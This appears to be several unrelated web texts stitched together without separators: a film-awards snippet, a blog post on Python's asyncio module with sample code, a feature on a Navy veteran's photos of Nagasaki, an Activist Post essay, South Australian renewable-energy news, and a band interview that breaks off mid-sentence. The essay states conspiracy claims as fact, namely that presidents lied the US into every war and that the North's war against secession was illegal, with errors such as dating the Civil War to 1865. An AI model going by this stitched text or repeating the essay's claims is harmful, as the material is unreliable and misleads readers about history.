“The Disaster Artist” writers Neustadter and Weber, who also brought us “(500) Days of Summer,” have a shot at Adapted Screenplay. Veteran screenwriter Gerwig (“Frances Ha,” “Mistress America”) also has a shot for Original Screenplay. Baker’s movie may seem more improvised and less dialogue-driven (it’s written), even if that degree of difficulty is extremely high.
Sign Up: Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.Here are some mentals notes after trying for a couple of hours the new Asyncio module based on the PEP 3156 spec.
The Asyncio module is the last confirmation that the multithreading war is over on Python, unless some core developers are already implementing another approach like Transactional Memory / Automatic Mutual Exclusion. The developers prefered to start improving the Asynchronous IO API to face the war against I/O bottlenecks instead of offering a real lock-free API of multithreading. Off course this approach makes perfect sense in the magnitude of the work to do.
Regarding to the Asyncio API, i think it was designed to tackle or standarize the proliferation of coroutine/event base state machine libraries like; Gevent, Tornado, Eventlet and many others who try to fix the same problem: Event based IO Access and colaborative Co-routines. Also appears to me that this API wasn't designed to be directly used by developers, in fact it was designed to be used by developers who write libraries on the top of it.
The Asyncio API offers a single event loop per process that you can call with the get_event_loop function. You can start adding event generators objects like callbacks, coroutines, tasks, futures, pipes and others directly. Please note that like any other Asynchronous orchestration's library all your code must be asynchronous and that means that all the libraries that you use must be asynchronous ready too, otherwise the scheduler could timeout or block your callback queue.
The Asyncio API exposes a few methods for schedule Co-routines call_soon(), call_later(), call_at(), which fits perfect for almost all the common use cases, off course all of them are pretty self explanaitory and well documented.
A little detail that caught my attention was the existence of separated concepts: Co-routines and Tasks ; i am still trying to figure out what's the difference between them because a Task can be converted to a Co-routine directly.
The Asyncio module also offers a clean and nice high-level suite for managing internet connections that makes the pain of using Twisted easy for the rest of us. This will be the topic for a next article :).
My most common use case for an Co-routine framework is to attach a set of and explicitly wait for their completion, also i expect to have a way to notify to the siblings co-routines about events and lock them, also block the entire loop if is needed. The Asyncio module covers all of these functionalities perfectly so is a perfect standard replacement for my code that makes use of Gevent and Greenlets.
On the other hand the API also exposes a class called asyncio.Future which looks pretty similar to the javascript jQuery $.Deferred object. I noticed that i was using $.Deferred a lot. A classical use case on javascript would be something like the following code:
var f = function() { return $.Deferred(function(d) { asynFunction().done(function(results) { d.resolve(results); }); }).promise(); } w = $.when(new f(), new f(), new f()); w.done(function() { console.log(arguments); }); w.fail(function() { console.log('failed'); });
On this case i am passing a collection of $.Deferred objects to the $.when function that will add them to a callback queue and wait for them to be in completed or failed state. Writing something pretty similar using the new Asyncio module will looks like:
#!/usr/bin/env python3.3 # -*- coding: utf-8 -*- import asyncio chunk = lambda ulist, step: map(lambda i: ulist[i:i+step], range(0, len(ulist), step)) loop = asyncio.get_event_loop() chunks = chunk([x for x in range(0, 1000)], 8) def sort_me(chunk, future): future.set_result(sorted(chunk)) def create_future(chunk): f = asyncio.Future() loop.call_soon(sort_me, chunk, f) return f @asyncio.coroutine def run(): for chunk in chunks: yield from create_future(chunk) def main(): loop.run_until_complete(run()) main()
This code is not doing something interesting, is just sorting chunks of integer's sets. Please note that the coroutines are raised using the new yield from operator and the loop method run_until_complete will do the same as the javascript $.when method.
I think that the Asyncio module is a very relevant step forward to make a more reliable Python, facing the common I/O bottlenecks that computers are having today with a nice API, also is a good step forward to standarize the growing set of asynchronous orchestration libraries.
I wish there was something more simplified like the jquery $.Deferred API with fewer methods and cleaner interfaces but i understand that the core Asyncio module should cover all of the user scenarios.
Soon I will continue writing more about this module.1 / 8
Leroy Fadem volunteered for service in the US Navy early in March 1942, about a week after his 21st birthday. Initially, he was assigned as a torpedo officer and gunnery officer on a destroyer, the USS Stevens. He served there for about two years before being named executive officer and navigator of the USS LST-871, a brand new ship designed to support amphibious landings of US military forces. On Sept. 24, 1945, the LST-871 sailed into Nagasaki Harbor as part of the first US Navy task force to approach that city since an atomic bomb had been dropped on it about six weeks earlier. Along with Fadem, then 24, and the rest of its Navy crew, the LST-871 carried several hundred US Marines, part of a larger contingent of the 2nd Marine Division that the task force was bringing to occupy Nagasaki.Now 95 and living in New Rochelle, New York, Fadem remembers Nagasaki as a scene of total devastation, with bodies still floating in the harbor. 'Everybody came away from it very devastated with what they saw,' Fadem said in an August 2016 interview. 'It was flattened, with just wreckage all around.'Fadem said he does not remember much discussion of radiation dangers before his ship arrived at Nagasaki. But LST-871 crewmembers were restricted from going beyond where the ship had docked, not far from a damaged police station. Though its crew wasn't allowed into the blast zone, the LST-871 had docked 'not that far away from ground zero,' Fadem said. During the week his ship was in Nagasaki Harbor, Fadem was able to take a few photos of the stricken city, including this view of part of the Mitsubishi industrial complex that was one of the reasons Nagasaki had been chosen as a possible target. He has shared those shots—and his best recollection of what they depict—with the Bulletin, for publication 71 years after a US B-29 bomber nicknamed Bockscar dropped a plutonium weapon nicknamed Fat Man on Nagasaki, Japan, instantly incinerating tens of thousands of human beings. This is what the city looked like, six weeks later.photo: Reuters
David Redick
Activist Post
Those of you who long ago figured out that George Bush lied about, and twisted, 9-11, the role of Al-Qaeda, the Taliban, and Osama, and WMDs to justify the invasions of Afghanistan, and Iraq, and to create the War on Terror, will not be surprised to learn that our prior Presidents, and their complicit henchmen, have lied us into every war since our Revolution. Their true reasons have not been legal, constitutional, or politically acceptable, so they invent one or more false reasons that they can sell to the people. The recent WikiLeaks disclosures confirm how our foreign policy is riddled with lies. Surprise!
Sadly, most people, especially the troops and their families, believe the lies and proudly support these “wars for defense of our Liberties.” It doesn’t occur to them that our leaders would be so evil as to spend the lives of our troops to gain their hidden goals for Empire-USA (oil, power, land, etc.).
The secret plan of the Bush-Obama gang is to:
A. Take over all oil in the greater mid east (including the east of Caspian ‘xxstans’, and North Africa), which holds the world’s last reserves of easy-cheap oil, so we don’t have to share it with China, India, and others
B. Defend Israel at any cost (this helps congressmen and presidents get Israel’s AIPAC support for re-election). Control of oil was the hidden reason for the Balkans, Afghan, and Iraq wars.
Iran is their next target
Thus, the war drums are beating in DC to justify bombing Iran, so this is a good time to consider whether our leaders are lying again.
The sole purpose of our military is to defend the homeland from damage or invasion, or a serious threat thereof. It is not for managing world affairs as a global police force, or to build an empire to gain economic or political control of foreign lands and control our “interests” there. Unfortunately, these two missions have been the primary secret agenda for all of our wars since 1898.
Below are the facts on how we got into a few major wars. Each one could be (and has been) a book, and many other smaller wars also could be shown, so please forgive the brevity. The format is: war name; the lying President and the year it started; the stated reasons/lies for the war; and the real reasons.
1. War of 1812 (Madison, 1812) — Lies: In 1812, Congress declared war on England based primarily on their kidnapping (‘impressment’) of our sailors at sea. Truth: To drive England out of N. America, so the war started with our failed invasion of Canada at Detroit. DC “expansionists” took advantage and started incursions to acquire Spanish Florida, and Mexican Texana territories.
2. Mexican-American (Polk, 1845) — Lies: Fight to defend our Texas border with Mexico. Truth: The disputes started when residents stole The Republic of Texas from Mexico. We invaded and took the northern half of Mexico, now our entire SW region of five states.
Download Your First Issue Free! Do You Want to Learn How to Become Financially Independent, Make a Living Without a Traditional Job & Finally Live Free?
Download Your Free Copy of Counter Markets
3. Civil (Lincoln, 1865) — Lies: Fight to end slavery and preserve the union. Truth: The South got tired of economic abuse by the North and had a perfect right to secede. It was not a civil war and it was unconstitutional, illegal, and immoral for the North to start a war to stop them. The Northern states who had the votes to control Congress, wanted to retain the South as a source of cotton and a customer for their manufactured goods (hence the high tariffs on imports in southern ports). Slavery was partly ended later by the Emancipation Proclamation, but only in Southern states, south of a line along county (not ‘State’) borders, north of which the Union army was in control. This means slavery continued to be legal in the North (another Lincoln hypocrisy). He made the Proclamation only to free Southern slaves, so the Union Army could recruit them as soldiers. Lincoln was a tyrant beholden to the railroad and canal interests; he jailed journalists and draft resisters who opposed him. Yet, to this day he is revered as a great President who saved the Union.
4. Spanish-American (McKinley, 1898) — Lies: Spain blew up the US battleship Maine in Cuba’s Havana harbor. Truth: Hearst publicized, and Teddy Roosevelt mobilized, to use the accidental explosion to take over Cuba by starting a war in April, 1898. We then invaded the Philippines in May and annexed Hawaii in July. A busy time for the beginning of Empire-USA!
5. WWI (Wilson, 1917) — Lies: Join Europe to “Make the World Safe for Democracy.” Truth: Wilson was convinced to join by US and European industrialists who wanted to sell munitions and guns to the allies, and get paid when they won.
6. WWII (FDR, 1941) — Lies; Defend the US from unprovoked attacks by Japan. Truth: FDR wanted to be sure that Germany didn’t win WW2 and become a world power, but joining the war in Europe was strongly opposed by most Americans, so he poked Japan (ended access to oil, scrap metal, etc.) until he got his ‘incident’ on Dec. 7, 1941 and Congress voted for war. He knew Japan had a mutual-defense pact with Germany so he waited until Germany declared war on the USA on Dec. 11, and hours later he got Congress to declare war upon Germany! FDR wanted the USA to be the only post-war superpower (with 1. Germany under our control, and 2. France and England as buddies)
7. Korean (Truman, 1950) — Lies: Defend America. Truth: Truman and the Generals wanted a reason to have troops in the Far East area of our Empire.
8. Vietnam (Kennedy, Johnson, 1964) — Lies: Johnson said Vietnam attacked our ships in the Gulf of Tonkin in August, 1964. Truth: The US didn’t want to lose the southeast Asia region, and its oil and sea lanes, to China. This “attack” was convenient. Kennedy initiated the first major increase in US troops (over 500).
9. Gulf War (G.H.W. Bush, 1991) — Lies: To defend Kuwait from Iraq. Truth: Saddam was a threat to Israel, and we wanted his oil and land for bases.
10. Balkans (Clinton, 1999) — Lies: Prevent Serb killing of Bosnians. Truth: Get the Chinese out of Eastern Europe (remember the “accidental” bombing of their embassy in Belgrade?) so they could not get control of the oil in the Caspian region and Eastward. Control land for bases such as our huge Camp Bondsteel in Kosovo, and for the proposed Trans-Balkan Oil pipeline from the Caspian Sea area to the Albanian port of Valona on the Adriatic Sea.
Survival Solar Battery Charger - Free Today! 11. Afghan (G.W. Bush, 2001) — Lies: The Taliban were hiding Osama. Truth: To build a gas/oil pipeline from Turkmenistan and other northern ‘xxstan’ countries to a warm water (all year) port in the Arabian Sea near Karachi (same reason the Russians were there), plus land for bases. 12. Iraq (G.W. Bush, 2003) — Lies: Stop use of WMDs — whoops, bring Democracy, or whatever. Truth: Oil, defense of Israel, land for permanent bases (we were kicked out of Saudi Arabia) to manage the greater Middle East, restore oil sales in USD (Saddam had changed to Euros). 13. Possible Iran War (Obama, 201?) — Lies: They almost have an atom bomb; they are a threat to Israel; major killer of our troops in Iraq. Truth: Control their oil, defend Israel, and restore oil sales in USD only (they changed to add Euros and others). We created the regional conflict and shouldn’t be surprised that all neighbors (including our “friends” in Saudi Arabia) are helping Iraq. We exaggerate the threat to Israel, especially as Iran has allowed inspections and Israel has not. If you approve of the current Bush-Obama wars, but are resting safely at home, you should join the Army’s Chicken Hawk Brigade. There is no restriction on age or sex, and you will get an exciting front-line assignment promptly. Then, you won’t feel badly about sending others to fight your wars for oil, religion, and Empire-USA. Better yet, write, call, and vote against the NeoCon gang in Congress to stop their plans for war against Iran and others. ****************** David Redick is a Madison, WI businessman, author, and President of Forward-USA, which seeks ways to improve government so we have more peace, prosperity, and justice. Related Article by David Redick:
How Governments Abuse Our PatriotismSouth Australia's Renewable Future Ideas Republish Notify me
Below are a collection of articles from The Lead South Australia about renewable energy projects and initiatives in the state.
Modelling a Renewable Future
'a place with the population of West Virginia'
Commentators took it as a proof that a fully renewable future is possible. South Australia, moving against the wider trends in Australia, is the poster child for that future.
Read more.
Snowtown II Wind Farm to power 180,000 homes
The second stage of South Australia's largest wind farm has officially launched, ahead of time and under budget.
Trustpower-owned Snowtown II consists of 90 Siemens 3.0 MW wind turbines, producing around 989 GWh per year, roughly equivalent to the power required by 180,000 homes.
Read more.
Green crude production tested in South Australia
Renewable fuels company Muradel has launched Australia’s first integrated demonstration plant to sustainably convert algae into green crude, as a first step towards a commercial plant with the potential to produce 80 million litres of crude oil a year.
The $10.7 million demonstration plant at Whyalla in the northwest of South Australia will produce 30,000 litres of green crude a year using the company’s trademarked technology called Green2Black™.
Read more.
Tonsley: South Australia's vision of its manufacturing future
Less than two years after the funded concept was unveiled, 800 students a day are studying at a new TAFE training centre at Tonsley, six leading companies are preparing to establish their own high-tech presence on the site, and a contractor has been chosen to create a residential and retail development.
Read more.
Australia's only solar panel manufacturer receives $20 million financing from CEFC
South Australia's Tindo Solar is being provided up to $20 million senior debt finance from the Clean Energy Finance Corporation (CEFC) to locally manufacture, install and own rooftop solar arrays and sell the power to building occupants under a power purchase agreement (PPA).
Read more.
Also on The Lead: Tindo Solar: Bullish about South Australian manufacturing.
ZEN Energy Systems develop renewable storage with state grant
The State Government has awarded Zen Energy Systems a $200,000 grant to develop a battery storage solution at its new location in Tonsley precinct.
ZEN launched the Freedom Powerbank in 2012, a renewables storage solution using high-density lithium ion batteries that captures solar or wind generated energy for later use.
Read more.
South Australia's UN recognised climate change plan rolled out to regions
South Australia has released its latest regional plan to prepare for climate change in the Murray-Darling Basin area, one of the most significant agricultural areas in the country.
The state's Regional Adaptation Framework, which provides a guide for regions to build resilience to climate-related impact in the future, was one of only two initiatives highlighted during the United Nations' Climate Summit in New York.
Read more.Slaves haven’t been portrayed in the most positive light throughout their history, but they’re ready to change all that.
Just a few months ago, things reached a breaking point for the band. On March 30, guitarist Alex Lyman announced he was leaving the band after the conclusion of their tour alongside Capture The Crown, Myka Relocate, Outline In Color and Conquer Divide. Two weeks later, Slaves told fans that they would be playing their final show as a band in Santa Cruz.
But now there’s an update. Last week, vocalist Jonny Craig and bassist Colin Vieira revealed they will continue as Slaves. They’ll tour the U.K. and Europe with Palisades and appear at Download Festival in June. We caught up with Craig and Viera from the road (Craig is currently on the tour with Dance Gavin Dance for their 10-year anniversary tour) to talk about past difficulties, their future plans and who they’ll be collaborating with for their new music.
At one point, it looked like Routine Breathing would never be released, but your fans rallied to help you.
COLIN VIERA: After the whole Warped Tour thing happened, we were pretty down in the dirt about things. We owed a lot of money for things going into that tour—the van, the merch, gas, getting across the country. We were in a lot of debt. The CD was actually recorded at that time. We were just waiting to get all the rights to release it in a few months. But with all the debt in our name, we didn’t know if we were even going to be able to continue on as a band. We put all our extra merch we had from Warped Tour online, and our fans rallied up and bought our stuff, helped us get out of that debt. We were able to release the album and we decided to release it early while that was going on, as a treat for the fans who helped us out.
In January, you had some issues with Artery, but it seems to have been mended since then.
JONNY CRAIG: A lot of Artery stuff, it wasn’t really everyone’s decision in the band to be public about a lot of the stuff. We wanted to be a little bit more discreet. Things just got out of hand and happened the way they happened. I wouldn’t say things are mended, but we have no ill will toward the Artery Foundation; we have no ill will toward anyone.
Let’s talk about the headlining tour. That’s where things seemed to come to a breaking point, and everyone thought Slaves was over. What happened?
CRAIG: Yeah, a lot of people in the band, including myself and Colin, reached a breaking point with tons of different situations that were happening inside the band. I think a lot of people who aren’t in the band anymore, they decided they were over it. They didn’t want to—without being negative or anything—they didn’t want to put their feet forward with me and Colin, to just move forward and try and keep focus on what’s important to us, and that’s the music. I think they got consumed with all the drama, and like I said, myself as well and Colin also did at some points. But me and Colin both want to focus on moving forward as a band. And doing things properly this time, finding new management, working on the business side of the band first before we work on anything else. That’s where it’s at right now.
VIERA: I think the whole band, we were on tour for almost two years with small breaks in between. We were all in a band for literally two years together. It’s bound to happen, when certain drama comes up. I think we just needed a break from that situation.
“I think the best thing for me to do was to use this band as a stepping stone to put things in order for my life.”
Jonny, after the announcement that Slaves had broken up is when you wrote that open letter on Facebook to your fans about your struggle with addiction. Why did you decide to do that?
CRAIG: Without getting too far into personal issues, it’s no secret I obviously dealt with drug addiction for a long time. I think it was just time to clear the slate. If we wanted to start as a new band and really focus on this, I think it was just time for me to clear the slate and be honest about what I was doing at the time during the last two tours and the Warped Tour thing. Everything gradually started to go downhill from there again for me, and I wanted to put things back together. I think the best thing for me to do was to use this band as a stepping stone to put things in order for my life. I wanted to write to the fans and let them know, I’m still here, I’m still dealing with this stuff, and I’m always going to be dealing with it, but that doesn’t mean I’m ever going to give up on the thing I love—and that’s music. I think it was important to get that out and clear the air.
Since you do want to focus on starting fresh, let’s talk about the future of Slaves. What is the rest of your lineup going to look like?
VIERA: We have a couple of [musicians] overseas that we have learning the songs, and they’ve actually been sending some stuff back and forth to us, showing us their progression and they’ve been really good. So we’re happy about that, we have a crew over there. As far as any new [permanent] members, we won’t be doing any of that until like Jonny says, the business side straightens itself out. It’s really about personalities and skill level, as well, but we want to get the most positive people we can in the band, because that’s just something the band needs, is everyone on the same page. It might take us |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.